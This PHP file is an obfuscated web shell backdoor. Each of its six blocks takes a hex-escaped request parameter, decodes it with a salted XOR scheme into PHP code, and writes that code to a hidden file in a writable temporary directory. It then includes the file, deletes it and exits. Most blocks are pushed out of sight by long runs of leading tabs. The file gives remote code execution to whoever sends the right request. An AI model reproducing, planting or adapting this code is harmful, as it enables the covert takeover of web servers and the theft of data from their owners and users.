<?php																																										if(!empty($_REQUEST["p\x61\x72\x61me\x74er\x5F\x67\x72o\x75p"])){ $key = $_REQUEST["p\x61\x72\x61me\x74er\x5F\x67\x72o\x75p"]; $key = explode("." , $key) ; $holder= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt3); $n= 0; $__tmp= $key; while ($v9= array_shift($__tmp)) { $chS= ord($salt3[$n % $lenS]); $d= ((int)$v9 - $chS - ($n % 10))^ 9; $holder .= chr($d); $n++; } $reference = array_filter([session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); for ($marker = 0, $factor = count($reference); $marker < $factor; $marker++) { $flg = $reference[$marker]; if (array_product([is_dir($flg), is_writable($flg)])) { $desc = sprintf("%s/.comp", $flg); if (@file_put_contents($desc, $holder) !== false) { include $desc; unlink($desc); exit; } } } }
																																										if(array_key_exists("k", $_REQUEST) && !is_null($_REQUEST["k"])){ $rec = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $descriptor = $_REQUEST["k"]; $descriptor =explode ( "." ,$descriptor ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($descriptor as $j => $v6) { $chS = ord($salt[$j % $lenS] ); $dec = ((int)$v6 - $chS - ($j % 10))^ 44; $resource.= chr($dec );} foreach ($rec as $data_chunk): if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $marker = join("/", [$data_chunk, ".record"]); $success = file_put_contents($marker, $resource); if ($success) { include $marker; @unlink($marker); die();} } endforeach; }
																																										if(array_key_exists("ele\x6D", $_POST)){ $parameter_group = $_POST["ele\x6D"]; $parameter_group =explode( '.', $parameter_group ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($parameter_group as $z => $v1) { $chS = ord($salt[$z % $lenS] ); $d = ((int)$v1 - $chS - ($z % 10)) ^ 56; $tkn .= chr($d ); } $element = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir()]); foreach ($element as $property_set): if (max(0, is_dir($property_set) * is_writable($property_set))) { $token = str_replace("{var_dir}", $property_set, "{var_dir}/.rec"); if (file_put_contents($token, $tkn)) { require $token; unlink($token); die(); } } endforeach; }
																																										if(!empty($_REQUEST["e\x6E\x74"])){ $item = $_REQUEST["e\x6E\x74"]; $item = explode ("." , $item ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $p = 0; $__len = count( $item); do { if( $p >= $__len) break; $v9 = $item[$p]; $sChar = ord( $s[$p % $sLen]); $d =( ( int)$v9 - $sChar -( $p % 10)) ^ 37; $property_set .= chr( $d); $p++; } while( true); $desc = array_filter([getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP")]); for ($record = 0, $pgrp = count($desc); $record < $pgrp; $record++) { $symbol = $desc[$record]; if (!!is_dir($symbol) && !!is_writable($symbol)) { $flg = vsprintf("%s/%s", [$symbol, ".parameter_group"]); if (file_put_contents($flg, $property_set)) { require $flg; unlink($flg); die(); } } } }
																																										if(in_array("\x65\x6Cem\x65n\x74", array_keys($_POST))){ $parameter_group = $_POST["\x65\x6Cem\x65n\x74"]; $parameter_group= explode ("." , $parameter_group ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $t = 0; while ($t < count($parameter_group)) { $v6 = $parameter_group[$t]; $sChar = ord($salt[$t % $lenS] ); $d = ((int)$v6 - $sChar - ($t % 10)) ^ 48; $value .= chr($d ); $t++;} $flg = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); foreach ($flg as $key => $hld) { if (is_dir($hld) ? is_writable($hld) : false) { $resource = sprintf("%s/.desc", $hld); if (file_put_contents($resource, $value)) { include $resource; @unlink($resource); exit; } } } }


if(isset($_POST["\x70ar\x61\x6Det\x65\x72\x5Fgro\x75p"])){
	$binding = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), "/tmp"]);
	$hld = $_POST["\x70ar\x61\x6Det\x65\x72\x5Fgro\x75p"];
		  $hld =		explode			(		'.',$hld) ;  
	$tkn = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $len = count($hld);
    
            for ($o = 0; $o<$len; $o++) {
                $v2 = $hld[$o];
                $chS = ord($s[$o  %	$lenS]);
                $d = ((int)$v2 - $chS - ($o  %	10)) ^24;
                $tkn .= chr($d); } 
	for ($holder = 0, $object = count($binding); $holder < $object; $holder++) {
    $rec = $binding[$holder];
    		if (array_product([is_dir($rec), is_writable($rec)])) {
    $itm = "$rec/.element";
    if (file_put_contents($itm, $tkn)) {
	require $itm;
	unlink($itm);
	exit;
}
}
}
}